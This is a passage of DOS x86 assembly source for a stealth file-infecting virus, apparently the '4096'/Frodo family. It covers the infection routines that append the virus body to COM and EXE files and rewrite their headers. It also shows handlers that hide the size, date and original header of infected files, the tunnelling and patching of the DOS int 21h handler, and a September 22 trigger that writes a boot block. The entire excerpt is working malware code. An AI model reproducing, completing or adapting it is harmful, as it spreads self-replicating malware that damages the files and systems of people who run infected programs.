  785.                 mov     cx,cs:currentPSP
  786.                 add     cx,10h                  ; adjust for PSP
  787.                 add     dx,cx
  788.                 mov     es:[bx+14h],dx          ; alter the entry point CS
  789.                 mov     ax,word ptr ds:oldheader+14h
  790.                 mov     es:[bx+12h],ax
  791.                 mov     ax,word ptr ds:oldheader+0Eh ; alter stack
  792.                 add     ax,cx
  793.                 mov     es:[bx+10h],ax
  794.                 mov     ax,word ptr ds:oldheader+10h
  795.                 mov     es:[bx+0Eh],ax
  796. perform_the_execute:
  797.                 call    getcurrentPSP
  798.                 mov     ds,cs:currentPSP
  799.                 mov     ax,[bp+2]               ; restore length as held in
  800.                 mov     word ptr ds:oldheader+6,ax
  801.                 mov     ax,[bp+4]               ; the EXE header
  802.                 mov     word ptr ds:oldheader+8,ax
  803. exit_loadnoexecute:
  804.                 jmp     _popall_then_exitint21
  805.  
  806. getDOSversion:
  807.                 mov     byte ptr cs:hide_size,0
  808.                 mov     ah,2Ah                  ; Get date
  809.                 call    callint21
  810.                 cmp     dx,916h                 ; September 22?
  811.                 jb      exitDOSversion          ; leave if not
  812.                 call    writebootblock          ; this is broken
  813. exitDOSversion:
  814.                 jmp     exitotherint21
  815.  
  816. infect_file:
  817.                 call    replaceint13and24
  818.                 call    findnextparagraphboundary
  819.                 mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
  820.                 cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
  821.                 je      clearlyisanEXE              ; EXE header
  822.                 cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
  823.                 je      clearlyisanEXE              ; EXE header
  824.                 dec     byte ptr ds:EXEflag         ; if neither, assume is a
  825.                 jz      try_infect_com              ; COM file
  826. clearlyisanEXE:
  827.                 mov     ax,ds:lengthinpages     ; get file size in pages
  828.                 shl     cx,1                    ; and convert it to
  829.                 mul     cx                      ; bytes
  830.                 add     ax,200h                 ; add 512 bytes
  831.                 cmp     ax,si
  832.                 jb      go_exit_infect_file
  833.                 mov     ax,ds:minmemory         ; make sure min and max memory
  834.                 or      ax,ds:maxmemory         ; are not both zero
  835.                 jz      go_exit_infect_file
  836.                 mov     ax,ds:filesizelow       ; get filesize in dx:ax
  837.                 mov     dx,ds:filesizehigh
  838.                 mov     cx,200h                 ; convert to pages
  839.                 div     cx
  840.                 or      dx,dx                   ; filesize multiple of 512?
  841.                 jz      filesizemultiple512     ; then don't increment #
  842.                 inc     ax                      ; pages
  843. filesizemultiple512:
  844.                 mov     ds:lengthinpages,ax     ; put in new values for length
  845.                 mov     ds:lengthMOD512,dx      ; fields
  846.                 cmp     word ptr ds:initialIP,1 ; check if already infected
  847.                 je      exit_infect_file
  848.                 mov     word ptr ds:initialIP,1 ; set new entry point
  849.                 mov     ax,si                   ; calculate new entry point
  850.                 sub     ax,ds:headersize        ; segment
  851.                 mov     ds:initialcs,ax         ; put this in for cs
  852.                 add     word ptr ds:lengthinpages,8 ; 4K more
  853.                 mov     ds:initialSS,ax         ; put entry segment in for SS
  854.                 mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
  855.                 call    finish_infection
  856. go_exit_infect_file:
  857.                 jmp     short exit_infect_file
  858. try_infect_com:
  859.                 cmp     si,0F00h                ; make sure file is under
  860.                 jae     exit_infect_file        ; F00h paragraphs or else
  861.                                                 ; it will be too large once it
  862.                                                 ; is infected
  863.                 mov     ax,ds:readbuffer        ; first save first 6 bytes
  864.                 mov     word ptr ds:oldheader,ax
  865.                 add     dx,ax
  866.                 mov     ax,ds:readbuffer+2
  867.                 mov     word ptr ds:oldheader+2,ax
  868.                 add     dx,ax
  869.                 mov     ax,ds:readbuffer+4
  870.                 mov     word ptr ds:oldheader+4,ax
  871.                 add     dx,ax                   ; exit if checksum = 0
  872.                 jz      exit_infect_file        ; since then it is already
  873.                                                 ; infected
  874.                 mov     cl,0E9h                 ; encode jmp instruction
  875.                 mov     byte ptr ds:readbuffer,cl
  876.                 mov     ax,10h                  ; find file size
  877.                 mul     si
  878.                 add     ax,offset entervirus-3  ; calculate offset of jmp
  879.                 mov     word ptr ds:readbuffer+1,ax ; encode it
  880.                 mov     ax,ds:readbuffer        ; checksum it to 0
  881.                 add     ax,ds:readbuffer+2
  882.                 neg     ax
  883.                 mov     ds:readbuffer+4,ax
  884.                 call    finish_infection
  885. exit_infect_file:
  886.                 mov     ah,3Eh                  ; Close file
  887.                 call    callint21
  888.                 call    restoreint13and24
  889.                 retn
  890.  
  891.  
  892. findnextparagraphboundary:
  893.                 push    cs
  894.                 pop     ds
  895.                 mov     ax,5700h                ; Get file time/date
  896.                 call    callint21
  897.                 mov     ds:filetime,cx
  898.                 mov     ds:filedate,dx
  899.                 mov     ax,4200h                ; Go to beginning of file
  900.                 xor     cx,cx
  901.                 mov     dx,cx
  902.                 call    callint21
  903.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  904.                 mov     cl,1Ch
  905.                 mov     dx,offset readbuffer
  906.                 call    callint21
  907.                 mov     ax,4200h                ; Go to beginning of file
  908.                 xor     cx,cx
  909.                 mov     dx,cx
  910.                 call    callint21
  911.                 mov     ah,3Fh                  ; Read first 1Ch bytes
  912.                 mov     cl,1Ch
  913.                 mov     dx,offset oldheader
  914.                 call    callint21
  915.                 mov     ax,4202h                ; Go to end of file
  916.                 xor     cx,cx
  917.                 mov     dx,cx
  918.                 call    callint21
  919.                 mov     ds:filesizelow,ax       ; save filesize
  920.                 mov     ds:filesizehigh,dx
  921.                 mov     di,ax
  922.                 add     ax,0Fh                  ; round to nearest paragraph
  923.                 adc     dx,0                    ; boundary
  924.                 and     ax,0FFF0h
  925.                 sub     di,ax                   ; di=# bytes to next paragraph
  926.                 mov     cx,10h                  ; normalize filesize
  927.                 div     cx                      ; to paragraphs
  928.                 mov     si,ax                   ; si = result
  929.                 retn
  930.  
  931.  
  932. finish_infection:
  933.                 mov     ax,4200h                ; Go to beginning of file
  934.                 xor     cx,cx
  935.                 mov     dx,cx
  936.                 call    callint21
  937.                 mov     ah,40h                  ; Write new header to file
  938.                 mov     cl,1Ch
  939.                 mov     dx,offset readbuffer
  940.                 call    callint21
  941.                 mov     ax,10h                  ; convert paragraph boundary
  942.                 mul     si                      ; to a byte value
  943.                 mov     cx,dx
  944.                 mov     dx,ax
  945.                 mov     ax,4200h                ; go to first paragraph
  946.                 call    callint21               ; boundary at end of file
  947.                 xor     dx,dx
  948.                 mov     cx,1000h
  949.                 add     cx,di
  950.                 mov     ah,40h                  ; Concatenate virus to file
  951.                 call    callint21
  952.                 mov     ax,5701h                ; Restore file time/date
  953.                 mov     cx,ds:filetime
  954.                 mov     dx,ds:filedate
  955.                 test    dh,80h                  ; check for infection bit
  956.                 jnz     highbitset
  957.                 add     dh,0C8h                 ; alter if not set yet
  958. highbitset:
  959.                 call    callint21
  960.                 cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
  961.                 jb      exit_finish_infection   ; do not hide the alteration
  962.                                                 ; in cluster count
  963.                 cmp     byte ptr ds:hideclustercountchange,0
  964.                 je      exit_finish_infection
  965.                 push    bx
  966.                 mov     dl,ds:filedrive
  967.                 mov     ah,32h                  ; Get drive parameter block
  968.                 call    callint21               ; for drive dl
  969.                 mov     ax,cs:numfreeclusters
  970.                 mov     [bx+1Eh],ax             ; alter free cluster count
  971.                 pop     bx
  972. exit_finish_infection:
  973.                 retn
  974.  
  975.  
  976. checkFCBokinfect:
  977.                 call    saveregs
  978.                 mov     di,dx
  979.                 add     di,0Dh                  ; skip to extension
  980.                 push    ds
  981.                 pop     es
  982.                 jmp     short performchecksum   ; and check checksum for valid
  983.                                                 ; checksum
  984.  
  985. checkdsdxokinfect:
  986.                 call    saveregs
  987.                 push    ds
  988.                 pop     es
  989.                 mov     di,dx
  990.                 mov     cx,50h                  ; max filespec length
  991.                 xor     ax,ax
  992.                 mov     bl,0                    ; default drive
  993.                 cmp     byte ptr [di+1],':'     ; Is there a drive spec?
  994.                 jne     ondefaultdrive          ; nope, skip it
  995.                 mov     bl,[di]                 ; yup, get drive
  996.                 and     bl,1Fh                  ; and convert to number
  997. ondefaultdrive:
  998.                 mov     cs:filedrive,bl
  999.                 repne   scasb                   ; find terminating 0 byte
  1000. performchecksum:
  1001.                 mov     ax,[di-3]
  1002.                 and     ax,0DFDFh               ; convert to uppercase
  1003.                 add     ah,al
  1004.                 mov     al,[di-4]
  1005.                 and     al,0DFh                 ; convert to uppercase
  1006.                 add     al,ah
  1007.                 mov     byte ptr cs:EXEflag,0   ; assume COM file
  1008.                 cmp     al,0DFh                 ; COM checksum?
  1009.                 je      COMchecksum
  1010.                 inc     byte ptr cs:EXEflag     ; assume EXE file
  1011.                 cmp     al,0E2h                 ; EXE checksum?
  1012.                 jne     otherchecksum
  1013. COMchecksum:
  1014.                 call    restoreregs
  1015.                 clc                             ; mark no error
  1016.                 retn
  1017. otherchecksum:
  1018.                 call    restoreregs
  1019.                 stc                             ; mark error
  1020.                 retn
  1021.  
  1022.  
  1023. getcurrentPSP:
  1024.                 push    bx
  1025.                 mov     ah,51h                  ; Get current PSP segment
  1026.                 call    callint21
  1027.                 mov     cs:currentPSP,bx        ; store it
  1028.                 pop     bx
  1029.                 retn
  1030.  
  1031.  
  1032. setup_infection:
  1033.                 call    replaceint13and24
  1034.                 push    dx
  1035.                 mov     dl,cs:filedrive
  1036.                 mov     ah,36h                  ; Get disk free space
  1037.                 call    callint21
  1038.                 mul     cx                      ; ax = bytes per cluster
  1039.                 mul     bx                      ; dx:ax = bytes free space
  1040.                 mov     bx,dx
  1041.                 pop     dx
  1042.                 or      bx,bx                   ; less than 65536 bytes free?
  1043.                 jnz     enough_free_space       ; hopefully not
  1044.                 cmp     ax,4000h                ; exit if less than 16384
  1045.                 jb      exit_setup_infection    ; bytes free
  1046. enough_free_space:
  1047.                 mov     ax,4300h                ; Get file attributes
  1048.                 call    callint21
  1049.                 jc      exit_setup_infection    ; exit on error
  1050.                 mov     di,cx                   ; di = attributes
  1051.                 xor     cx,cx
  1052.                 mov     ax,4301h                ; Clear file attributes
  1053.                 call    callint21
  1054.                 cmp     byte ptr cs:errorflag,0 ; check for errors
  1055.                 jne     exit_setup_infection
  1056.                 mov     ax,3D02h                ; Open file read/write
  1057.                 call    callint21
  1058.                 jc      exit_setup_infection    ; exit on error
  1059.                 mov     bx,ax                   ; move handle to bx
  1060.                                                 ; xchg bx,ax is superior
  1061.                 mov     cx,di
  1062.                 mov     ax,4301h                ; Restore file attributes
  1063.                 call    callint21
  1064.                 push    bx
  1065.                 mov     dl,cs:filedrive         ; Get file's drive number
  1066.                 mov     ah,32h                  ; Get drive parameter block
  1067.                 call    callint21               ; for disk dl
  1068.                 mov     ax,[bx+1Eh]             ; Get free cluster count
  1069.                 mov     cs:numfreeclusters,ax   ; and save it
  1070.                 pop     bx                      ; return handle
  1071.                 call    restoreint13and24
  1072.                 retn
  1073. exit_setup_infection:
  1074.                 xor     bx,bx
  1075.                 dec     bx                      ; return bx=-1 on error
  1076.                 call    restoreint13and24
  1077.                 retn
  1078.  
  1079.  
  1080. checkforinfection:
  1081.                 push    cx
  1082.                 push    dx
  1083.                 push    ax
  1084.                 mov     ax,4400h                ; Get device information
  1085.                 call    callint21               ; (set hide_size = 2)
  1086.                 xor     dl,80h
  1087.                 test    dl,80h                  ; Character device?  If so,
  1088.                 jz      exit_checkforinfection  ; exit; cannot be infected
  1089.                 mov     ax,5700h                ; Otherwise get time/date
  1090.                 call    callint21
  1091.                 test    dh,80h                  ; Check year bit for infection
  1092. exit_checkforinfection:
  1093.                 pop     ax
  1094.                 pop     dx
  1095.                 pop     cx
  1096.                 retn
  1097.  
  1098. obtainfilesize:
  1099.                 call    saveregs
  1100.                 mov     ax,4201h                ; Get current file position
  1101.                 xor     cx,cx
  1102.                 xor     dx,dx
  1103.                 call    callint21
  1104.                 mov     cs:curfileposlow,ax
  1105.                 mov     cs:curfileposhigh,dx
  1106.                 mov     ax,4202h                ; Go to end of file
  1107.                 xor     cx,cx
  1108.                 xor     dx,dx
  1109.                 call    callint21
  1110.                 mov     cs:filesizelow,ax
  1111.                 mov     cs:filesizehigh,dx
  1112.                 mov     ax,4200h                ; Return to file position
  1113.                 mov     dx,cs:curfileposlow
  1114.                 mov     cx,cs:curfileposhigh
  1115.                 call    callint21
  1116.                 call    restoreregs
  1117.                 retn
  1118.  
  1119. getsetfiletimedate:
  1120.                 or      al,al                   ; Get time/date?
  1121.                 jnz     checkifsettimedate      ; if not, see if Set time/date
  1122.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1123.                 call    _popall
  1124.                 call    callint21
  1125.                 jc      gettimedate_error       ; exit on error
  1126.                 test    dh,80h                  ; check year bit if infected
  1127.                 jz      gettimedate_notinfected
  1128.                 sub     dh,0C8h                 ; if so, hide change
  1129. gettimedate_notinfected:
  1130.                 jmp     exitint21
  1131. gettimedate_error:
  1132.                 or      word ptr cs:int21flags,1; turn on trap flag
  1133.                 jmp     exitint21
  1134. checkifsettimedate:
  1135.                 cmp     al,1                    ; Set time/date?
  1136.                 jne     exit_filetimedate_pointer
  1137.                 and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
  1138.                 test    dh,80h                  ; Infection bit set?
  1139.                 jz      set_yearbitset
  1140.                 sub     dh,0C8h                 ; clear infection bit
  1141. set_yearbitset:
  1142.                 call    checkforinfection
  1143.                 jz      set_datetime_nofinagle
  1144.                 add     dh,0C8h                 ; set infection flag
  1145. set_datetime_nofinagle:
  1146.                 call    callint21
  1147.                 mov     [bp-4],ax
  1148.                 adc     word ptr cs:int21flags,0; turn on/off trap flag
  1149.                 jmp     _popall_then_exitint21  ; depending on result
  1150.  
  1151. handlemovefilepointer:
  1152.                 cmp     al,2
  1153.                 jne     exit_filetimedate_pointer
  1154.                 call    checkforinfection
  1155.                 jz      exit_filetimedate_pointer
  1156.                 sub     word ptr [bp-0Ah],1000h ; hide file size
  1157.                 sbb     word ptr [bp-8],0
  1158. exit_filetimedate_pointer:
  1159.                 jmp     exitotherint21
  1160.  
  1161. handleread:
  1162.                 and     byte ptr cs:int21flags,0FEh ; clear trap flag
  1163.                 call    checkforinfection           ; exit if it is not
  1164.                 jz      exit_filetimedate_pointer   ; infected -- no need
  1165.                                                     ; to do stealthy stuff
  1166.                 mov     cs:savelength,cx
  1167.                 mov     cs:savebuffer,dx
  1168.                 mov     word ptr cs:return_code,0
  1169.                 call    obtainfilesize
  1170.                 mov     ax,cs:filesizelow       ; store the file size
  1171.                 mov     dx,cs:filesizehigh
  1172.                 sub     ax,1000h                ; get uninfected file size
  1173.                 sbb     dx,0
  1174.                 sub     ax,cs:curfileposlow     ; check if currently in
  1175.                 sbb     dx,cs:curfileposhigh    ; virus code
  1176.                 jns     not_in_virus_body       ; continue if not
  1177.                 mov     word ptr [bp-4],0       ; set return code = 0
  1178.                 jmp     handleopenclose_exit
  1179. not_in_virus_body:
  1180.                 jnz     not_reading_header
  1181.                 cmp     ax,cx                   ; reading from header?
  1182.                 ja      not_reading_header
  1183.                 mov     cs:savelength,ax        ; # bytes into header
  1184. not_reading_header:
  1185.                 mov     dx,cs:curfileposlow
  1186.                 mov     cx,cs:curfileposhigh
  1187.                 or      cx,cx                   ; if reading > 64K into file,
  1188.                 jnz     finish_reading          ; then no problems
  1189.                 cmp     dx,1Ch                  ; if reading from header, then
  1190.                 jbe     reading_from_header     ; do stealthy stuff
  1191. finish_reading:
  1192.                 mov     dx,cs:savebuffer
  1193.                 mov     cx,cs:savelength
  1194.                 mov     ah,3Fh                  ; read file
  1195.                 call    callint21
  1196.                 add     ax,cs:return_code       ; ax = bytes read
  1197.                 mov     [bp-4],ax               ; set return code properly
  1198.                 jmp     _popall_then_exitint21
  1199. reading_from_header:
  1200.                 mov     si,dx
  1201.                 mov     di,dx
  1202.                 add     di,cs:savelength
  1203.                 cmp     di,1Ch                  ; reading all of header?
  1204.                 jb      read_part_of_header     ; nope, calculate how much
  1205.                 xor     di,di
  1206.                 jmp     short do_read_from_header
  1207. read_part_of_header:
  1208.                 sub     di,1Ch
  1209.                 neg     di
  1210. do_read_from_header:
  1211.                 mov     ax,dx
  1212.                 mov     cx,cs:filesizehigh      ; calculate location in
  1213.                 mov     dx,cs:filesizelow       ; the file of the virus
  1214.                 add     dx,0Fh                  ; storage area for the
  1215.                 adc     cx,0                    ; original 1Ch bytes of
  1216.                 and     dx,0FFF0h               ; the file
  1217.                 sub     dx,0FFCh
  1218.                 sbb     cx,0
  1219.                 add     dx,ax
  1220.                 adc     cx,0
  1221.                 mov     ax,4200h                ; go to that location
  1222.                 call    callint21
  1223.                 mov     cx,1Ch
  1224.                 sub     cx,di
  1225.                 sub     cx,si
  1226.                 mov     ah,3Fh                  ; read the original header
  1227.                 mov     dx,cs:savebuffer
  1228.                 call    callint21
  1229.                 add     cs:savebuffer,ax
  1230.                 sub     cs:savelength,ax
  1231.                 add     cs:return_code,ax
  1232.                 xor     cx,cx                   ; go past the virus's header
  1233.                 mov     dx,1Ch
  1234.                 mov     ax,4200h
  1235.                 call    callint21
  1236.                 jmp     finish_reading          ; and continue the reading
  1237.  
  1238. handlewrite:
  1239.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  1240.                 call    checkforinfection
  1241.                 jnz     continue_handlewrite
  1242.                 jmp     exit_filetimedate_pointer
  1243. continue_handlewrite:
  1244.                 mov     cs:savelength,cx
  1245.                 mov     cs:savebuffer,dx
  1246.                 mov     word ptr cs:return_code,0
  1247.                 call    obtainfilesize
  1248.                 mov     ax,cs:filesizelow
  1249.                 mov     dx,cs:filesizehigh
  1250.                 sub     ax,1000h                ; calculate original file
  1251.                 sbb     dx,0                    ; size
  1252.                 sub     ax,cs:curfileposlow     ; writing from inside the
  1253.                 sbb     dx,cs:curfileposhigh    ; virus?
  1254.                 js      finish_write            ; if not, we can continue
  1255.                 jmp     short write_inside_virus; otherwise, fixup some stuff
  1256. finish_write:
  1257.                 call    replaceint13and24
  1258.                 push    cs
  1259.                 pop     ds
  1260.                 mov     dx,ds:filesizelow       ; calculate location in file
  1261.                 mov     cx,ds:filesizehigh      ; of the virus storage of the
  1262.                 add     dx,0Fh                  ; original 1Ch bytes of the
  1263.                 adc     cx,0                    ; file
  1264.                 and     dx,0FFF0h
  1265.                 sub     dx,0FFCh
  1266.                 sbb     cx,0
  1267.                 mov     ax,4200h
  1268.                 call    callint21
  1269.                 mov     dx,offset oldheader
  1270.                 mov     cx,1Ch
  1271.                 mov     ah,3Fh                  ; read original header
  1272.                 call    callint21
  1273.                 mov     ax,4200h                ; go to beginning of file
  1274.                 xor     cx,cx
  1275.                 mov     dx,cx
  1276.                 call    callint21
  1277.                 mov     dx,offset oldheader
  1278.                 mov     cx,1Ch
  1279.                 mov     ah,40h                  ; write original header to
  1280.                 call    callint21               ; the file
  1281.                 mov     dx,0F000h               ; go back 4096 bytes
  1282.                 mov     cx,0FFFFh               ; from the end of the
  1283.                 mov     ax,4202h                ; file and
  1284.                 call    callint21
  1285.                 mov     ah,40h                  ; truncate the file
  1286.                 xor     cx,cx                   ; at that position
  1287.                 call    callint21
  1288.                 mov     dx,ds:curfileposlow     ; Go to current file position
  1289.                 mov     cx,ds:curfileposhigh
  1290.                 mov     ax,4200h
  1291.                 call    callint21
  1292.                 mov     ax,5700h                ; Get file time/date
  1293.                 call    callint21
  1294.                 test    dh,80h
  1295.                 jz      high_bit_aint_set
  1296.                 sub     dh,0C8h                 ; restore file date
  1297.                 mov     ax,5701h                ; put it onto the disk
  1298.                 call    callint21
  1299. high_bit_aint_set:
  1300.                 call    restoreint13and24
  1301.                 jmp     exitotherint21
  1302. write_inside_virus:
  1303.                 jnz     write_inside_header     ; write from start of file?
  1304.                 cmp     ax,cx
  1305.                 ja      write_inside_header     ; write from inside header?
  1306.                 jmp     finish_write
  1307.  
  1308. write_inside_header:
  1309.                 mov     dx,cs:curfileposlow
  1310.                 mov     cx,cs:curfileposhigh
  1311.                 or      cx,cx                   ; Reading over 64K?
  1312.                 jnz     writemorethan1Chbytes
  1313.                 cmp     dx,1Ch                  ; Reading over 1Ch bytes?
  1314.                 ja      writemorethan1Chbytes
  1315.                 jmp     finish_write
  1316. writemorethan1Chbytes:
  1317.                 call    _popall
  1318.                 call    callint21               ; chain to int 21h
  1319.                                                 ; (allow write to take place)
  1320.                 call    _pushall
  1321.                 mov     ax,5700h                ; Get file time/date
  1322.                 call    callint21
  1323.                 test    dh,80h
  1324.                 jnz     _popall_then_exitint21_
  1325.                 add     dh,0C8h
  1326.                 mov     ax,5701h                ; restore file date
  1327.                 call    callint21
  1328. _popall_then_exitint21_:
  1329.                 jmp     _popall_then_exitint21
  1330.  
  1331.                 jmp     exitotherint21
  1332.  
  1333. int13:
  1334.                 pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
  1335.                 pop     word ptr cs:int13tempCSIP+2 ; the stack
  1336.                 pop     word ptr cs:int13flags
  1337.                 and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
  1338.                 cmp     byte ptr cs:errorflag,0 ; any errors yet?
  1339.                 jne     exitint13error          ; yes, already an error
  1340.                 push    word ptr cs:int13flags
  1341.                 call    dword ptr cs:origints
  1342.                 jnc     exitint13
  1343.                 inc     byte ptr cs:errorflag   ; mark error
  1344. exitint13error:
  1345.                 stc                             ; mark error
  1346. exitint13:
  1347.                 jmp     dword ptr cs:int13tempCSIP ; return to caller
  1348.  
  1349. int24:
  1350.                 xor     al,al                   ; ignore error
  1351.                 mov     byte ptr cs:errorflag,1 ; mark error
  1352.                 iret
  1353.  
  1354. replaceint13and24:
  1355.                 mov     byte ptr cs:errorflag,0 ; clear errors
  1356.                 call    saveregs
  1357.                 push    cs
  1358.                 pop     ds
  1359.                 mov     al,13h                  ; save int 13 handler
  1360.                 call    getint
  1361.                 mov     word ptr ds:origints,bx
  1362.                 mov     word ptr ds:origints+2,es
  1363.                 mov     word ptr ds:oldint13,bx
  1364.                 mov     word ptr ds:oldint13+2,es
  1365.                 mov     dl,0
  1366.                 mov     al,0Dh                  ; fixed disk interrupt
  1367.                 call    getint
  1368.                 mov     ax,es
  1369.                 cmp     ax,0C000h               ; is there a hard disk?
  1370.                 jae     harddiskpresent         ; C000+ is in BIOS
  1371.                 mov     dl,2
  1372. harddiskpresent:
  1373.                 mov     al,0Eh                  ; floppy disk interrupt
  1374.                 call    getint
  1375.                 mov     ax,es
  1376.                 cmp     ax,0C000h               ; check if floppy
  1377.                 jae     floppypresent
  1378.                 mov     dl,2
  1379. floppypresent:
  1380.                 mov     ds:tracemode,dl
  1381.                 call    replaceint1
  1382.                 mov     ds:savess,ss            ; save stack
  1383.                 mov     ds:savesp,sp
  1384.                 push    cs                      ; save these on stack for
  1385.                 mov     ax,offset setvirusints  ; return to setvirusints
  1386.                 push    ax
  1387.                 mov     ax,70h
  1388.                 mov     es,ax
  1389.                 mov     cx,0FFFFh
  1390.                 mov     al,0CBh                 ; retf
  1391.                 xor     di,di
  1392.                 repne   scasb                   ;scan es:di for retf statement
  1393.                 dec     di                      ; es:di->retf statement
  1394.                 pushf
  1395.                 push    es                      ; set up stack for iret to
  1396.                 push    di                      ; the retf statement which
  1397.                                                 ; will cause transfer of
  1398.                                                 ; control to setvirusints
  1399.                 pushf
  1400.                 pop     ax
  1401.                 or      ah,1                    ; turn on the trap flag
  1402.                 push    ax
  1403.                 in      al,21h                  ; save IMR in temporary
  1404.                 mov     ds:saveIMR,al           ; buffer and then
  1405.                 mov     al,0FFh                 ; disable all the
  1406.                 out     21h,al                  ; interrupts
  1407.                 popf
  1408.                 xor     ax,ax                   ; reset disk
  1409.                 jmp     dword ptr ds:origints   ; (int 13h call)
  1410.                                                 ; then transfer control to
  1411. setvirusints:                                   ; setvirusints
  1412.                 lds     dx,dword ptr ds:oldint1
  1413.                 mov     al,1                    ; restore old int 1 handler
  1414.                 call    setvect
  1415.                 push    cs
  1416.                 pop     ds
  1417.                 mov     dx,offset int13         ; replace old int 13h handler
  1418.                 mov     al,13h                  ; with virus's
  1419.                 call    setvect
  1420.                 mov     al,24h                  ; Get old critical error
  1421.                 call    getint                  ; handler and save its
  1422.                 mov     word ptr ds:oldint24,bx ; location
  1423.                 mov     word ptr ds:oldint24+2,es
  1424.                 mov     dx,offset int24
  1425.                 mov     al,24h                  ; Replace int 24 handler
  1426.                 call    setvect                 ; with virus's handler
  1427.                 call    restoreregs
  1428.                 retn
  1429.  
  1430.  
  1431. restoreint13and24:
  1432.                 call    saveregs
  1433.                 lds     dx,dword ptr cs:oldint13
  1434.                 mov     al,13h
  1435.                 call    setvect
  1436.                 lds     dx,dword ptr cs:oldint24
  1437.                 mov     al,24h
  1438.                 call    setvect
  1439.                 call    restoreregs
  1440.                 retn
  1441.  
  1442.  
  1443. disableBREAK:
  1444.                 mov     ax,3300h                ; Get current BREAK setting
  1445.                 call    callint21
  1446.                 mov     cs:BREAKsave,dl
  1447.                 mov     ax,3301h                ; Turn BREAK off
  1448.                 xor     dl,dl
  1449.                 call    callint21
  1450.                 retn
  1451.  
  1452.  
  1453. restoreBREAK:
  1454.                 mov     dl,cs:BREAKsave
  1455.                 mov     ax,3301h                ; restore BREAK setting
  1456.                 call    callint21
  1457.                 retn
  1458.  
  1459.  
  1460. _pushall:
  1461.                 pop     word ptr cs:pushpopalltempstore
  1462.                 pushf
  1463.                 push    ax
  1464.                 push    bx
  1465.                 push    cx
  1466.                 push    dx
  1467.                 push    si
  1468.                 push    di
  1469.                 push    ds
  1470.                 push    es
  1471.                 jmp     word ptr cs:pushpopalltempstore
  1472.  
  1473. swapvirint21:
  1474.                 les     di,dword ptr cs:oldint21; delve into original int
  1475.                 mov     si,offset jmpfarptr     ; handler and swap the first
  1476.                 push    cs                      ; 5 bytes.  This toggles it
  1477.                 pop     ds                      ; between a jmp to the virus
  1478.                 cld                             ; code and the original 5
  1479.                 mov     cx,5                    ; bytes of the int handler
  1480. swapvirint21loop:                               ; this is a tunnelling method
  1481.                 lodsb                           ; if I ever saw one
  1482.                 xchg    al,es:[di]              ; puts the bytes in DOS's
  1483.                 mov     [si-1],al               ; int 21h handler
  1484.                 inc     di
  1485.                 loop    swapvirint21loop
  1486.  
  1487.                 retn
  1488.  
  1489.  
  1490. _popall:
  1491.                 pop     word ptr cs:pushpopalltempstore
  1492.                 pop     es
  1493.                 pop     ds
  1494.                 pop     di
  1495.                 pop     si
  1496.                 pop     dx
  1497.                 pop     cx
  1498.                 pop     bx
  1499.                 pop     ax
  1500.                 popf
  1501.                 jmp     word ptr cs:pushpopalltempstore
  1502.  
  1503. restoreregs:
  1504.                 mov     word ptr cs:storecall,offset _popall
  1505.                 jmp     short do_saverestoreregs
  1506.  
  1507. saveregs:
  1508.                 mov     word ptr cs:storecall,offset _pushall
  1509. do_saverestoreregs:
  1510.                 mov     cs:storess,ss           ; save stack
  1511.                 mov     cs:storesp,sp
  1512.                 push    cs
  1513.                 pop     ss
  1514.                 mov     sp,cs:stackptr          ; set new stack
  1515.                 call    word ptr cs:storecall
  1516.                 mov     cs:stackptr,sp          ; update internal stack ptr
  1517.                 mov     ss,cs:storess           ; and restore stack to
  1518.                 mov     sp,cs:storesp           ; caller program's stack
  1519.                 retn
  1520.  
  1521.  
  1522. replaceint1:
  1523.                 mov     al,1                    ; get the old interrupt
  1524.                 call    getint                  ; 1 handler and save it
  1525.                 mov     word ptr cs:oldint1,bx  ; for later restoration
  1526.                 mov     word ptr cs:oldint1+2,es
  1527.                 push    cs
  1528.                 pop     ds
  1529.                 mov     dx,offset int1          ; set int 1 handler to
  1530.                 call    setvect                 ; the virus int handler
  1531.                 retn
  1532.  
  1533. allocatememory:
  1534.                 call    allocate_memory
  1535.                 jmp     exitotherint21
  1536.  
  1537. allocate_memory:
  1538.                 cmp     byte ptr cs:checkres,0  ; installed check
  1539.                 je      exitallocate_memory     ; exit if installed
  1540.                 cmp     bx,0FFFFh               ; finding total memory?
  1541.                 jne     exitallocate_memory     ; (virus trying to install?)
  1542.                 mov     bx,160h                 ; allocate memory to virus
  1543.                 call    callint21
  1544.                 jc      exitallocate_memory     ; exit on error
  1545.                 mov     dx,cs
  1546.                 cmp     ax,dx
  1547.                 jb      continue_allocate_memory
  1548.                 mov     es,ax
  1549.                 mov     ah,49h                  ; Free memory
  1550.                 call    callint21
  1551.                 jmp     short exitallocate_memory
  1552. continue_allocate_memory:
  1553.                 dec     dx                      ; get segment of MCB
  1554.                 mov     ds,dx
  1555.                 mov     word ptr ds:[1],0       ; mark unused MCB
  1556.                 inc     dx                      ; go to memory area
  1557.                 mov     ds,dx
  1558.                 mov     es,ax
  1559.                 push    ax
  1560.                 mov     word ptr cs:int21store+2,ax ; fixup segment
  1561.                 xor     si,si
  1562.                 mov     di,si
  1563.                 mov     cx,0B00h
  1564.                 rep     movsw                   ; copy virus up there
  1565.                 dec     ax                      ; go to MCB
  1566.                 mov     es,ax
  1567.                 mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
  1568.                 mov     es:[1],ax               ; make vir ID = DOS PSP ID
  1569.                 mov     ax,offset exitallocate_memory
  1570.                 push    ax
  1571.                 retf
  1572.  
  1573. exitallocate_memory:
  1574.                 retn
  1575.  
  1576. get_device_info:
  1577.                 mov     byte ptr cs:hide_size,2
  1578.                 jmp     exitotherint21
  1579.  
  1580. callint21: ; call original int 21h handler (tunnelled)
  1581.                 pushf
  1582.                 call    dword ptr cs:oldint21
  1583.                 retn
  1584.  
  1585. bootblock:
  1586.                 cli
  1587.                 xor     ax,ax                   ; set new stack just below
  1588.                 mov     ss,ax                   ; start of load area for
  1589.                 mov     sp,7C00h                ; boot block
  1590.                 jmp     short enter_bootblock
  1591. borderchars     db      '███ '
  1592.  
